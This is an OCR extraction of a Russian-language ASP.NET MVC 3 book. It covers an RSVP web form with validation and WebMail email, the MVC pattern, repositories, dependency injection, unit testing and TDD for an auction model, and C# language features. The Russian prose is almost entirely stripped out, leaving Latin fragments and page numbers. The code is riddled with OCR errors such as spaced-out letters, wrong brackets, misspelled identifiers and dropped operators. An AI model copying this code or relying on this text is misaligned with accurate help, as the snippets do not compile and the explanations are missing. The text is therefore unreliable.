V i e w D a t a [ " g r e e t i n g " ] = h o u r < 12

? "Good m o r n i n g "

"G ood a f t e r n o o n ";

return V i e w ();

}
[HttpGet]
p u b l i c V i e w R e s u l t R s v p F o r m ()

return View ();

}
[HttpPost]
public ViewResult RsvpForm(GuestResponse guestResponse)

/ / : guestResponse
// .
return View("Thanks", guestResponse);

}
}
}

3.

61

H t t p G e t RsvpForm.
, GET.
RsvpForm,
GuestResponse HttpPost. MVC,
POST. ,
Partylnvites.Models. ,
GuestResponse .


R s v p F o r m
, . , . 3.15.
. , ,
HTTP- POST, G uestR e s p o n s e
#, ?

, ,
/
. HTML;
. , ,
HTML- input, id nam e
. ,
input
, ,
POST.
,
HTTP-,
#, Request.Form[] R e q u e s t . Q u e r y S t r i n g [].
"uestResponse, ,
. ,
, 17.


R s v p F o r m ,
,
. :
return View("Thanks", guestResponse);

View ,
T h a n k s Gu e s t R e s p o n s e .
,
Ecrr.eController Add View.
Thanks, . 3.16.
,
Create a strongly-typed view Add View.
,
View,
GuestResponse. Use a layout or master page ,
(View engine) Razor,
(Scaffold template) Empty. Add,
. Home, MVC
~/Views/Home/Thanks. cshtml.
, 3.12.

62

I. ASP.NET MVC 3

. 3.16. Thanks
3.12. T h an ks
Sraodel P a r t y l n v i t e s . M o d e l s . G u e s t R e s p o n s e

@{
Layout = null;

}
< ! DOC TYPE html>
<h tml>
<head>

< title > T h a n k s < /title >


</head>

<body>
<div>
<hl>Thanlc you, S M o d e l . N a m e !</hl>
@if (M od e l. WillAttend == true) (
0 : I t 1s great that you're coming. The drinks are a lr e a d y in the fridgs!
} else (
0 :S or ry to h ear that you can't m ake it, but thanks for l et ti n g US know.

)
</div>
</body>

</html>
Thanks Razor,
GuestResponse,
View RsvpForm. @model Razor
, .

M o d e l . . , Name,

3.

63

M o d e l . N a m e . , Razor
Razor 5.
, T h a n k s , .
Visual Studio, RSVP Now,
Submit RSVP ( RSVP). ,
. 3.17 ( , (Joe)
. ).

. 3.17. T h a n k s


.
,
.
MVC , . ,
, ,
. ASP.NET MVC
, System.
z p o n e n t M o d e l . D a t a A n n o t a t i o n s .
G uestResponse 3.13.

3.13.
G uestResponse
iising System.ComponentModel.DataAnnotations;
"a_~espace Partylnvites .Models {
public class GuestResponse {
[Required(ErrorMessage="Please enter your name")]
//

public string Name { get; set; }


[Required(ErrorMessage="Please enter your email address")]
[RegularExpression(".+\ \ @ .+ \ \ ..+",
ErrorMessage="Please enter a valid email address")]
//

public string Email { get; set; }


[Required(ErrorMessage="Please enter your phone number")]
//
public string Phone f get; set; )
[Required(ErrorMessage="Please specify whether you'll attend")]
// ,
public bool? WillAttend { get; set; }

64

I. ASP.NET MVC 3

. MVC

. , ,
, ,
.
. ,

W i l l A t t e n d
n u l l . , 1/
R e q u i r e d ().
, , t r u
f a l s e , , .
n u l l , : t r u e , f a l s e n u l l . n u l
, , R e q u i r e
.

hcitoj
M o d e lS t a t e .Is V a lid . ]
R sv p F o rm . POST, 1
3.14.

3.14.
[H ttp P o s t]
p u b l i c V ie w R e s u lt R svpF orm (G u estR espon se g u e s t R e s p o n s e )

if (ModelState.IsValid)

// : g u e s t R e s p o n s e

/ / .
r e tu rn V ie w ( "Thanks",

g u estR esp o n se);

} else {
//
//

return V i e w ();

- m v c ,
T h a n k s , . :
R sv p F o
V iew .
,
H tm l.V alidation S u m m ar
RsvpForm, 3.15.

3.15. H t m l . v a l i d a t i o n s u m m a ;
<body>
@using

(Html .B e g i n F o r m O )

@Ht m l .ValidationSummary()
< p > Y o u r name: @ H tm l. T e x t B o x F o r ( x => x.Nam e) </p>
< p > Y o u r e m a i l : @ Htm l. T e x t B o x F o r ( x => x . E m a i l ) < / p >

3. MVC

65

H tm l.V a lid a tio n S u m m a ry


. MVC
, .
. 3.18.

. 3 .1 8 .

T h a n k s ,
, G u e s t R e s p o n s e , .
, , ,
.
.
! , ASP.NET Web Forms, , Web Forms

, ,
__ VIEWSTATE . ASP.NET
MVC ,
View State Web Forms. ASP.NET MVC
__ V I E W S T A T E HTML-.


HTML, ,
, ,
. , ,
,
, .
,
HTML HTML-.
HTML-, H t m l .TextBoxFor ( -5- . Name)
:
<input data-val = " t r u e " d a t a - v a l - r e q u i r e d = " P l e a s e enter your name"
id="Name" name="Name"

type="text" value=""

/>

A HTML-, ,
( ,
R eq u ired Name GuestResponse) :
3 . 4039

66

I. ASP.NET MVC 3
<input class="input-validation-6rror" data-val="true"
data-val-required="Please enter your name"
id="Name" name="Name" type="text" value="" />

.
CSS i n p u t - v a l i d a t i o n - e r r o r .
CSS,
- / C o n t e n t / S i t e . c s s , Visual Studio MVC.
, h e a d R s v p F o r m
:
<link rel="Stylesheet" href="0Href{"-/Content/Site.css")" type="text/css"/>

. ASPX, , ,
, (~) (: h r e f =
" - / C o n t e n t / S i t e . c s s " ) ,
URL-, . Razor
. , H r e f URL (,
, h r e f = " H r e f ( " - / C o n t e n t / S i t e . c s s " ) "). Razor
5.

, ,
,
(. 3.19).

. 3.19.



RSVP , .

, .NET.
W e b M a i l .
MVC, ,
.

3.

67

! W ebMail,

. , ,
.
MVC 4.
,
Thanks. 3.16.

3.16. W e b M a il
gmodel Partylnvites.Models.GuestResponse
0{
Layout = null;

}
<!DOCTYPE html>
<html>
<head>
<title>Thanks</title>
</head>
<body>
@{
try {
W e b M a i l .SmtpServer "smtp.example.com";
W e b M a i l .SmtpPort = 587;
W e b M a i l .EnableSsl = true;
WebMail.UserName = "mySmtpUsername";
W e b M a i l .Password = "mySmtpPassword";
W e b M a i l .From "rsvps@example.com";
W e b M a i l .S e n d ("party-host@example.com" , "RSVP Notification",
Model. Name + " is " + ( (Model .WillAttend ?? false) ? "" : "not")
+ "attending");
} catch (Exception) {
@:<b>Sorry - we couldn't send the email to confirm your RSVP.</b>

}
}
<div>

<hl>Thank you, @Model.Name!</hl>


@if (Model.WillAttend == true) (
Chit's great that you're coming. The d r i n k s a r e a l r e a d y i n t h e f r i d g e !
) else {
Sorry to hear that you can't make it, but thanks for letting us know.
)
</div>
</body>
</html>

Razor, W e b M a i l
, ,
(SSL) .
, W e b M a i l . S e n d
.

68

I. ASP.NET MVC 3

t r y . ..cat ch,
, .
Thanks.

,
MVC.

MVC
MVC,
MVC .
( Razor, )
, .
,
MVC, .

MVC
7 ASP.NET MVC.
ASP.NET MVC,
MVC
. .

MVC.
.
.
.
,
,
ASP.NET #. , .
, MVC,
,
.

MVC
-- (model-view-controller)
70- . . Smalltalk
Xerox PARC,
.
MVC ,
Smalltalk, ,
, -.
MVC
,
, .
HTTP, - .
, MVC
. -
, HTML-
, .
Ruby on Ralls ,

70

I. ASP.NET MVC 3

M VC.
M VC, ,
ASP.NET .

MVC
,
, , , .

, ,
. ,
, ;
,
-, ,
.

,
.

, ,
.

", .
,
, , ,
, ,
,
.
; , ,
, ,
, , .
, .
:
. ,
, .
,
.
. ,
,
, ,
.

. ,
, , ,
, ,
.
, ,
.


.
, ,
,
. .

4. MVC

71


.
C# (, ..), .
,
, ,
, , ,
C# .
,
. .
,
.
, ,
- .

.
,
.
- .

, .
.

ASP.NET MVC #.
,
- .
. ,
7.

ASP.NET- MVC
MVC #,
System .W eb.M vc.Controller. p u b l i c ,
C o n t r o l l e r ,
ASP.NET URL. URL,
, ,

. ,
. 4.1.

. 4.1. MVC
AS P. NET MVC
. MVC
ASP.NET, ASPX-
Web Forms. 3

72

I. ASP.NET MVC 3

Razor, (
5). Visual Studio IntelliSense
, ,
.
ASP.NET M V C
. C#
, , O R M
, .NET. Visual Studio /Models
M V C . ,

Visual Studio.
.

MVC
. M V C
. , ,
, . M V C
, .
M VC.
M VC,
.
, M V C .
,
. ,
M V C .
.
, MVC,
, .



(smart UI).

, ,
. Windows Forms ASP.NET W eb Forms,
.

,

.
, ,
, ..
,
,
.
, . 4.2. ,
-, , -
. ,
, ,
, ,
.

4.

73

. 4.2.
,
. -
,
-
.
.

.
.
,

.
MVC
- , .
, , , MVC

. , ,
; ,
.
, .

.
, ,

.

.
,
.
, MVC.
, ,

.
,

.

-

-, , ,
,
.
-,

74

I. ASP.NET MVC 3

- . ,
, . 4.3.

. 4.3. -
-
.
, .
. :
,
. ,
. (
, , , ), ,
-, .


, -",

, (data
access layer DAL). . 4.4.

. 4.4.
.
-.

, . ,
DAL ,
.
MVC. ,

", Windows Forms ASP.NET
Web Forms,
.
,
.
,
, ,
, , -

4. MVC

75

, -
. :
, , ,
.

MVC
MVC,
, ASP.NET MVC.
-, MVC ,
- ,
.
MVC.
ASP.NET MVC.
, .

--
-- (model-view-presenter MVP)
MVC,

, Windows Forms ASP.NET Web Forms.

, , .
, M V C ,
,
,
.
.
,
.
, .
,
, ,
.

.
,
.

--
-- (model-view-view model
M W M ) MVC. 2005 .
Microsoft, ,
Windows- (Windows Presentation Foundation WPF) Silverlight.
M W M , MVC.
M W M
,
. , #,
, ,
,
. MVC, M W M

76

I. ASP.NET MVC 3

(
). M W M WPF/
Silverlight ,
(
), , .
M W M WPF,
, .
! MVC ,
,
. ,
, .

,
, .
MVC. ,

.
ASP.NET MVC ,
. ,
.NET. .
ASP.NET MVC ,

MVC. .
,
, (
HTML-).
.
,
, .
MVC Framework

.
,
, .

MVC 3,
17 18. ASP.NET- MVC
.
.NET
SQL Server, - (domain-driven development DDD).

4. MVC

77


,
.
-, , ,
.
,
, , . ,
. 4.5,
:
.
!
, . ,

- , ,
NASA
. .

, , .

. 4.5.
Member (),
Bid ( ). Bid Item (),
Item Bid Member.




. ,
, ,
.
, . , ,
,
, .
,
, ,
, .
.
-, ,
.. - , ,
. - ,

78

I. ASP.NET MVC 3

.
. .

.
, ,
.
(resource),
(relationship). ,
, -
-.
-
, .
. ,
.

. DDD ,
.
, ,
,
. ,
" ,
.


. 4.5
,
C# SQL Server. Member ,
B id Item s?
, B id Item
Member, ?
, ?
, ,
? ,
.
DDD
, . . 4.6 ,
.
.

"
. ,
, ,
, ,
-. , ,
.
DDD ,
, (,
).
.

4. MVC

79

. 4 .6 . ,

M e m b e r , I t e m ,
B i d Item,
. B i d M e m b e r (
), M e m b e r
B i d ( ).
,
.
.

,
. 4.1 ,
#.

4.1. C#
p u b lic

c la s s

Mem ber

p u b l i c s t r i n g L o g i n N a m e { get; set; }
p u b l i c int R e p u t a t i o n P o i n t s { get; set; }

//

)
p u b l i c class I t e m (
p u b l i c int i t e m i D { get; p r i v a t e set; }
p u b l i c s t r i n g T i t l e { get; set; )
p u b l i c s t r i n g D e s c r i p t i o n { get; set; }
p u b lic

D a te T im e A u c tio n E n d D a te

get;

set;

p u b l i c I L i s t < B i d > B i d s { get; set; )


}
pub l i c class B i d (
p u b l i c M e m b e r M e m b e r { get; set; }
p u b l i c D a t e T i m e D a t e P l a c e d { get; set; }
p u b l i c d e c i m a l B i d A m o u n t { get; set; }
}

//

80

I. ASP.NET MVC 3

,
Bid Member.
. , Bid (
,
, ).
,
#.
,
. (
)
, . , , ,
,
.
, ,
, .
,
SQL Server, ORM.
,
.



.
, .
.
.
, , ,
, , .

.
(
). ,
, , ,
,
. .

, .

: Member, Item (
, Bid ,
Item).
4.2.

4.2. C# M em ber It e m
public class MembersRepository {
public void AddMember(Member member) { /* */ }
public Member FetchByLoginName (string loginName) { /* */ }
public void SubmitChanges () { /* */ }

4.

81

public class ItemsRepository {


public void A d d l t e m (Item item) { /* */ }
public Item FetchBylD(int itemID) { /* */ }
public IList<Item> Listltems(int pageSize,int pagelndex) (
/* */ )
public void SubmitChanges() { /* */ }

}
,
. .
, ,
. 7
MVC,
Entity Framework .


, MVC
, . ,

, .


. ,
.
.
MyEmailSender, ,
, ,
, IEmailSender.
,
,
P a s s w o r d R e s e t H e l p e r , ,
. . 4.7,
P a sswordResetHelper M y E m a i l S e n d e r .

. 4 .7 .

IEmailSender, -
PasswordResetHelper MyEmailSender. M y E mailSender

.
! .

,
, , , . ,
ASP.NET MVC
.

82

I. ASP.NET 3


, -
C# ,
. ,
. ,
4.3.

4.3.

public class PasswordResetHelper {
public void ResetFassword() {
IEmailSender mySender = new MyEmailSender();
...call interface methods to configure e-mail details. . .
mySender.SendEmail();

}
}
.
P a s s w o r d R e s e t H e l p e r
IEmailSender, ,
, M y E m a i l S e n d e r .
. PasswordResetHelper IEmailSender,
MyEmailSender. . 4.8.

. 4.8. ,
,
.
(dependency injection DI)
(inversion of control IoC).
DI , ,
IEmai l S e n d e r .
DI , , , ,
MVC.
DI .
Pas s w o r d R e s e t H e l p e r .

, 4.4.

4.4. P a s s w o r d R e s e t H e l p e r
public class PasswordResetHelper {
private IEmailSender emailSender;

4. MVC
public PasswordResetHelper(IEmailSender emailSenderParam)
emailSender = emailSenderParam;

83

)
public void ResetPassword() {
... ...
emailSender.SendEmail();
}
}
PasswordResetHelper MyEmailSender.
PasswordResetHelper ,
IEmailSender, , ,
.
PasswordResetHelper .
, IEmailSender,
PasswordResetHelper .
PasswordResetHelper
, , .
! PasswordResetHelper ,

. .

.
,
, .

. ,
.

MVC

DI. AdminController,
MembersRepository
AdminController MembersRepository.
,
IMembersRepository MembersRepository,
, 4.5.

4.5. IM e m b e rs R e p o s ito ry
public interface IMembersRepository {
void AddMember(Member member);
Member FetchByLoginName(string loginName);
void SubmitChanges ();
}
public class MembersRepository : IMembersRepository {
public void AddMember(Member member) { /* */ )
public Member FetchByLoginName(string loginName) ( /* */ }
public void SubmitChanges () ( /* */ }
}

84

I. ASP.NET MVC 3

,
IMembersRepository, 4.6.

4.6. A d m in C o n t r o lle r
public class AdminController : Controller {
IMembersRepository membersRepository;
public AdminController(IMembersRepository repositoryParam)
membersRepository = repositoryParam;

}
public ActionResult ChangeLoginName (string oldLoginParam, string newLoginParam) (
Member member = membersRepository.FetchByLoginName(oldLoginParam);
me m b e r .LoginName = newLoginParam;
membersRepository.SubmitChanges();
// ... -
}
}
& A d m i n C o n t r o l l e r I M e m b e r s
Repository .
, A d m i nController
, , .


, :
.
: ,
?
DI, 1.
,
, , PasswordResetHelper,
, MyEmailSender.
DI ,
, ,
. ,
I E mailSender ,
M y E m a i l S e n d e r , IEmailSender.
, I E m a i l S e n d e r , ,
PasswordResetHelper, DI
,
MyEmailSender.
DI .
.
Ninject,
www.ninject.org. 6.
. Microsoft DI Unity.
Ninject,
MVC. Unity
unity.codeplex.com.

4. MVC

85

DI ,
. DI, Ninject,
.
. ,
(, ),
. ,
M yEmailSender INetworkTransport,
DI ,
MyEmailSender
IEmailSender.
.
,
? DI
,
, (
), ( ),
, HTTP-, .
. ,
INetworkTransport serverName,

DI. , ,
- ,
..
, DI.
C# .NET
.
DI MVC,
, Ninject.

ASP.NET MVC Framework


,
, . ASP.NET
MVC ,
Visual Studio .
.
-
.
,
( )
. ,
,
, - .
-.
, ,
, - .

86

I. ASP.NET MVC 3

,

, , - .
,
, .
.


.NET
Visual Studio.
, MVC
^
In t e r n e t A p p lic a t io n [ - } .
#, ,
, .
.

!
, 6.
,
.
4.7 ,
AdminContoller.ChangeLoginName, 4.6.

4.7.
[TestClass]
public class AdrainControllerTest {
[TestMethod]
public void CanChangeLoginName () {
// -
Member bob = new Member () { LoginName = "Bob" };
FakeMembersRepository repositoryParam = new FakeMembersRepository();
repositoryParam.Members.Add(bob);
AdminController target = new AdminController ( r e p o s i t o r y P a r a m ) ;
string oldLoginParam = b o b .LoginName;
string newLoginParam = "Anastasia";
/ / -
target.ChangeLoginName(oldLoginParam, newLoginParam);
// -
Ass e r t .AreEqual(newLoginParam, b o b .LoginName);
Ass e r t .IsT r u e (repositoryParam.DidSubmitChanges);

}
private class FakeMembersRepository : IMembersRepository (
public List<Member> Members = new List<Member>();
public bool DidSubmitChanges = false;
public void AddMember(Member member) {
throw new NotlmplementedException ();

}
public Member FetchByLoginName(string loginName) {
return M embers.First(m => m.LoginName == loginName);

4. MVC
public

v o i d S u b m i t C h a n g e s ()

87

DidSubm itChanges = t ru e ;

}
}
}
C a n C h a n g e L o g i n N a m e .
, T e s t M e t h o d , ,
A d m i n C o n t r o l l e r T e s t T e s t C l a s s . Visual Studio
.
C a n C h a n g e L o g i n N a m e ,
// (arrange/act/assert //).
^ , - ,
, , .

, ,
.
, 4.7,
I M e m b e r s R e p o s i t o r y
, , .
B o b , . M e m b e r
.
, A d m i n C o n t r o l l e r . C h a n g e L o g i n N a m e . . , ,
A s s e r t . . T e s t
() Visual Studio.
, . 4.9.

. 4.9.

-
A s s e r t , Test Results
( ) .
.
! , DI .


. DI,
.
,
, -
. ,
, , ,
.

88

I. ASP.NET MVC 3


.
, FakeMembersRepository,
. 6.


"--"
(test-driven development TDD),
. ,
,
, .
, --
(ged-green-refactor).
.
1. ,
.
2. , . .
3. .
4. , .
5. , .
6. . , ,
..
7. , ,
.

.
, . ,
,
,
. - Item,
4.8.

4.8. - Item
using System;
using System.Collections.Generic;
namespace TheMVCPattern.Models (
public class Item {
p u b l i c int I t e m I D

g et; p r i v a t e set;

//

public string Title { get; set; }


public string Description { get; set; }
public DateTime AuctionEndDate
public

IList<Bid> Bids

{ get;

set;

p r i v a t e set;

{ get;

public void AddBid(Member memberParam, decimal amountParam)


throw new NotlmplementedException();

}
}
}

4. MVC

89

, A d d B i d , , ,
, . TDD
.
, .
-
.

.

.
, ,
4.9.

4.9.
[ T e s t M e t h o d ()]
public void C a n A d d B i d O {
//
Item t a r g e t = n e w Item();
M e m b e r m e m b e r P a r a m = n e w M e m b e r ();
Decimal a m o u n t P a r a m = 150M;
// -
target.AddBid(memberParam, amountParam);
// -
A s s e r t .A r e E q u a l (1, t a r g e t .B i d s .C o un t ());
A s s e r t . A r e E q u a l ( a m o u n t P a r a m , t a r g e t .B i d s [0].B i d A m o u n t ) ;
}
[ T e s t M e t h o d ()]
[ E x p e c t e d E x c e p t i o n ( t y p e o f ( I n v a l i d O p e r a t i o n E x c e p t i o n ) )]
p u b l i c v o i d C a n n o t A d d L o w e r B i d () (
//
Item t a r g e t = n e w I t e m ( ) ;
M e m b e r m e m b e r P a r a m = n e w M e m b e r ();
D ecimal a m o u n t P a r a m = 150M;
//
t a r g e t .A d d B i d ( m e m b e r P a r a m , a m o u n t P a r a m ) ;
t a r g e t .A d d B i d ( m e m b e r P a r a m , a m o u n t P a r a m - 10);
}
[ T e s t M e t h o d ()]
p u b l i c v o i d C a n A d d H i g h e r B i d () {
//
Item ta r g e t = n e w I t e m O ;
Member f ir s t M e m b e r new Member ( ) ;

M e m b e r s e c o n d M e m b e r = n e w M e m b e r ();
D ecimal a m o u n t P a r a m = 150M;
//
target.AddBid(firstMember, amountParam);
t a r g e t . A d d B i d ( s e c o n d M e m b e r , a m o u n t P a r a m + 10);
/ /
A s s e r t . A r e E q u a l (2, t a r g e t .B i d s .C o u n t ());
A s s e r t . A r e E q u a l ( a m o u n t P a r a m + 10, t a r g e t .B i d s [1].B i d A m o u n t ) ;
}

90

I. ASP.NET MVC 3

,
. "//,
, . C annotAddLowerBid
,
,
ExpectedException.
! , ,

CannotAddLowerBid, AddBid.
, , ,
System.InvalidOperationException.

.

, ,
. 4.10.

. 4.10.
A d d B i d (.
4.10).

4.10. A d d B id
using System;
using System.Collections.Generic;
namespace TheMVCPattern.Models {
public class Item {
public int ItemID { get; private set; } II
public string Title { get; set; }
public string Description { get; set; }
public DateTime AuctionEndDate { get; set; }
public IList<Bid> Bids { get; set; }
public Item() {
Bids = new List<Bid>();

}
public void AddBid(Member memberParam, decimal amountParam)
Bids .Add (new Bid () {
BidAmount = amountParam,
DatePlaced = DateTime.Now,
Member = memberParam

}) ;
}
}
}

4. MVC

91

Item AddBid.
, Item
Bid.
, . 4.11.

. 4 .1 1 .

. ,
CannotAddLowerBid. ,
. , ,
4.11.

4.11. A d d B id
using System;
using System.Collections.Generic;
using System.Linq;

namespace TheMVCPattern.Models {
public class Item {
public int ItemID { get; private set; } //
public string Title { get; set; }
public string Description { get; set; }
public DateTime AuctionEndDate { get; set; }
public IList<Bid> Bids { get; set; }
public Item() {
Bids = new List<Bid>();
}
public void AddBid(Member memberParam, decimal amountParam) {
if (Bids.Count() == 0 | | amountParam > Bids.Max(e => e .BidAmount)) {

Bids.Add(new B i d () {
BidAmount = amountParam,
DatePlaced = DateTime.Now,
Member = memberParam
}) ;
} else {
throw new InvalidOperationException("Bid amount too low");

}
}
}
}

92

I. ASP.NET MVC 3

, ,
, .
In v a l i d O p e r a t i o n E x c e p t i o n ,
.

! LINQ
(Language Integrated Query ). ,
LINQ -, ( =>).
C# 5.

A d d B i d
. . 4.12.

. 4.12.
, ,
. ,
,
, , *
.
,
.
TDD. ,
, ,
,
, .
, . ,
, ,
- .


,
,
.
, , : ,

.
.

, .
- .
, -,
.

4.

93

, ,
. ASP.NET MVC
, ,
, . Microsoft
, ,
,
.
MVC .
.


-
.
-
,
,
.
"
, .NET.
Selenium RC (h t t p : / / s e l e n i u m h q . o r g / ), Java,
Internet Explorer,
Firefox, Safari Opera, .NET, Python, Ruby
, .
Selenium ;
Java.
WatiN (h t t p : / / w a t i n . s o u r c e f o r g e . n e t / ) .NIST,
Internet Explorer Firefox. API , Selenium,
,
(
).

.
,
, , .
,
.
- ,
, JavaScript , ,
.
.
. .
, .
, , .

,

. , ,
, . , -

94

I. ASP.NET MVC 3

, ,
.
.
, ,
, .
ASP.NET MVC Framework ,
, ,
,
MVC. , ,
-,
MVC.

MVC
,
.
. (DI),
,
.
,
DI .
TDD ,
. , ,
.

, ,
,

. #,
M V C .
.
C # L IN Q
C# 2010: ( , 2 0 1 0 .) LINQ:

C# 2010 ( , 2 0 1 1 .).
C # .
, Razor
, M V C 3. Razor
A S P X , M V C
A S P .N E T W e b Forms. Razor
A S P X , - M V C 3,
Razor.
<% %>, , Razor,
, .

C#

#, , ,
.
, ,
Console Application ( ) Visual Studio.
System .Console .


C # ,
. 5.1
Product.

96

I. A S P .N E T M VC 3

5.1.
p u b l i c c l a s s Product {
p r i v a t e s t r i n g name;
p u b l i c s t r i n g Name {
g e t { r e t u r n nam e; }
s e t { name = v a l u e ; }

, N a m e , . g e t (
(getter)) ,
s e t (
v a l u e ) .
, (. 5.2).

5 .2 .
using System;

c l a s s Program {
s t a t i c v o i d M a i n (s t r i n g [ ] a r g s )

// P r o d u c t
Product myProduct = new Product 0 ;
//
m y P r o d u c t . Name = " K a y a k " ;
//

s t r i n g p r o d u c t N a m e = m y P r o d u c t .N a m e ;
C o n s o l e .W r i t e L i n e (" P r o d u c t n a m e : {0}", p r o d u c t N a m e ) ;

}
}
,
. ,
get set , ,
. , ,
,
(get) (set) .
, 5.3.

5 .3 .
p u b l i c c l a s s Product {
p r i v a t e i n t productID;
p r i v a t e s t r i n g name;
private strin g description;
p r i v a t e decimal p r i c e ;
p riva te s trin g category;
p u b l i c i n t ProductID {
g e t { return productID; }
set { productID = valu e; }

5.

97

p u b l i c s t r i n g Name {
g e t { r e t u r n name; }
s e t { name = v a l u e ; }
}
public strin g Description {
g e t { return d e s c r ip t io n ; }
set { description = value; }
}
. . . . . . . .
}
,
.
,
.

(. 5.4).

5.4.
p u b lic c la s s P ro d u c t {
p u b l i c i n t ProductID { g e t ; s e t ; }
p u b l i c s t r i n g Name { g e t ; s e t ; }
public strin g Description { get; set; }
p u b l i c decimal P r i c e { g e t ; s e t ; }
p u blic s t r i n g Category { s e t ; g e t; }
}

. - ,
. - , , .
C# .
. ,
5.2, - . ,
,
, . -
, .
, ,
5.5.

5.5.
p u b l i c c l a s s P r o du c t {
p r iv a te

s t r i n g ;

p u b l i c i n t ProductID { g e t ;

set;

p u b l i c s t r i n g Name {
g e t { r e t u r n P r o d u c t ID + n a m e ;}
s e t { name = v a l u e ; }

}
public strin g Description { get; set; }
p u b l i c decimal P r i c e { g e t ; s e t ; }
pu blic s t r i n g Category { s e t ; g e t; }
}

I. ASP.NET MVC 3

98

! ,
, . C#
.



, 5.6.

5.6.
u s i n g System;
class P r o g r a m {
static v o i d M a i n ( s t r i n g [] args)

// P r od u c t
P r o du c t myProduct = new P r o d u c t ( ) ;
*

//
m y P r o d u c t . P r o d u c t I D = 100;
m y P r o d u c t . Name = " K a y a k " ;
m y P r o d u c t . D e s c r i p t i o n = "A b o a t f o r one p e r s o n " ;
m y P r o d u c t . P r i c e = 275M;
myProduct. C ateg or y = " W a t e r s p o r t s " ;
//
ProcessProduct(myProduct);

}
p r i v a t e s t a t i c v o i d P r o c e s s P r o d u c t ( P r o d u c t prodParam )

/ / . . . -

P r o d u c t P r o c e s s P r o d u c t ,
: , ,
. , ,
, 5.7.

5.7.
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g []

args)

// P r o d u c t
P r o c e s s P r o d u c t (new P r o d u c t {
P r o d u c t I D = 100, Name = " Ka y a k " ,
D e s c r i p t i o n = "A b o a t f o r one p e r s o n " ,
P r i c e = 275M, C a t e g o r y = " W a t e r s p o r t s "
}) ;
}
p r i v a t e s t a t i c v o i d P r o c e s s P r o d u c t ( P r o d u c t prodParam)
/ / ... -

5.

99

, ( { } } ,
P r o d u c t , .
. P r o d u c t ,
P r o c e s s P r o d u c t ..
P r o d u c t
.
, 5.8.

5.8.
using S y s t e m . C o l l e c t i o n s . G en eri c;
c l a s s Program {
s t a t i c v o id M a in (s t r in g [ ] args)
s t r i n g []

stringArray = { "apple",

"orange",

L i s t < i n t > i n t L i s t = new L i s t < i n t >

{ 10, 20,

" pl um"
30,

};

40 } ;

D i c t i o n a r y < s t r i n g , i n t > myDi ct = new D i c t i o n a r y < s t r i n g ,


{ " a p p l e " , 10 } ,
{ " g r a n g e " , 20 } ,
{ " pl um" , 30 }

int>

};
}
}

5.8
.
C# ,
.


,
, , .
5.9 S h o p p i ng C a r t ,
P r o d u c t s.

5.9. S h o p p in g C a rt
using S y s t e m . C o l l e c t i o n s . Ge n er ic ;
p u b l i c c l a s s S h o pp i n g C a r t {
p u b l i c L i s t < P r o d u c t > P r o du c t s { g e t ;

set;

S h o p p i n g C a r t ,
L i s t P r o d u c t ( ).
,
P r o d u c t S h o p p i n g C a r t , ,
, - ,
. ,
, 5.10.

100

I. ASP.NET MVC 3

5 .1 0 .

p u b l i c s t a t i c c l a s s MyExt ensi onMet hods {


p u b l i c s t a t i c d e c i m a l T o t a l P r i c e s (this S ho ppi n gCar t c a r t Pa r am ) {
d e c i m a l t o t a l = 0;
fo r e a c h (Product prod in cartP ar am. Pr odu cts ) {
t o t a l += p r o d . P r i c e ;
}
return t o t a l ;
}
}________________________________________________________________________________________
t h i s , ,
T o t a l P r i c e s . .NET,
S h o p p i n g C a r t .
S h o p p i n g C a r t , ,
c a r t P a r a m .
P r o d u c t s S h o p p i n g C a r t P r o d u c t . P r i c e .
5.11.

! ,
, .
, ,
.

5.11.
u s i n g System;
using S y s t e m . C o l l e c t i o n s . Ge n eri c;
c l a s s Program {
s t a t i c v o i d M a i n ( s t r i n g [] a r g s ) {
// S ho ppi n g C ar t
S h o pp i n g C a r t c a r t = new S ho ppi ngCar t {
P r o d u c t s = new L i s t < P r o d u c t > {
new P r o du c t {Name = " Ka y a k " , P r i c e = 275M},
new P r o d u c t {Name = " L i f e j a c k e t " , P r i c e = 48. 95M} ,
new P r o d u c t {Name = " S o c c e r b a l l " , P r i c e = 19. 50M} ,
new P r od u c t {Name = " C o r n e r f l a g " , P r i c e = 34.95M}
}
};
//
de c i m a l c a r t T o t a l = c a r t .T o t a l P r i c e s ();

C o n sole.W riteLin e ( " T o t a l : { 0 : c } " ,

cartTotal);

}
}
S h o p p i n g C a r t P r o du c t ,
. ,
, . , ,

5.

101

S h o p p i n g C a r t . ,
, . .NET
,
.. ,
u s i n g . , 5.11,
:
Total:

$378.40


, ,
, .
5.12 S h o p p i n g C a r t ,
I E n u m e r a bl e < P r o d u c t > .

5.12. S h o p p in g C a rt
using S y s t e m . C o l l e c t i o n s ;
using S y s t e m . C o l l e c t i o n s . Gen eri c;
*

p u b l i c c l a s s S h o p p i n g C a r t : I E nu me r a bl e< Pr od u c t > {
p u b l i c L i s t < P r o d u c t > P r o du c t s { g e t ;

set;

p u b l i c I E n u me r a t o r < P r o d u c t > G et En um e r at o r ()
r e tu r n P r o d u c t s . GetEnumerator( ) ;
}
I Enume ra t or I E n u m e r a b l e . G e t E n u m e r a t o r ()
r e tu r n GetEnumerator( ) ;
I

}
,
I E n u m e r a b l e < P r o d u c t > (. 5.13).

5.13. ,
using S y s t e m . C o l l e c t i o n s . Generic;
p u b l i c s t a t i c c l a s s My Ext ensi onMet hods {
p u b l i c s t a t i c d e c i m a l T o t a l P r i c e s ( t h i s IEnumerable<Product> productEnum)
d e c i m a l t o t a l = 0;
f o r e a c h ( P r o d u c t p r o d i n productEnum) {
t o t a l += p r o d . P r i c e ;
}
return t o t a l ;

}
}
IE n u m e r a b le < P r o d u c t> , ,
f o r e a c h .
. ,
P r o d u c t s ,
IE n u m e r a b le < P r o d u c t > ,
S h o p p in g C a r t, P r o d u c t s (. 5.14).

1 02

I. ASP.NET MVC 3

5.14.

u si n g System;
u si n g S y s t e m . C o l l e c t i o n s . G e n e r i c ;
c l a s s Program {
s t a t i c v o id M a in (s t r in g [ ] args) {
// S ho ppi n g C ar t
I E n u me r a b l e< P r o d u c t > p r o d u c t s = new S ho ppi n g C a r t {
P r o d u c t s = new L i s t < P r o d u c t > {
new P r o d u c t {Name = " Ka y a k , P r i c e = 275M},
new P r o d u c t {Name = " L i f e j a c k e t " , P r i c e = 48. 95M} ,
new P r o du c t {Name = " S o c c e r b a l l " , P r i c e = 19. 50M} ,
new P r o du c t {Name = " Co r n e r f l a g " , P r i c e = 34.95M}
}
};
// P r o d u c t
P r od u c t [ ] p r o d u c t A r r a y = {
new P r o d u c t {Name = " Ka ya k " , P r i c e = 275M},
new P r o d u c t {Name = " L i f e j a c k e t " , P r i c e = 48. 95M} ,
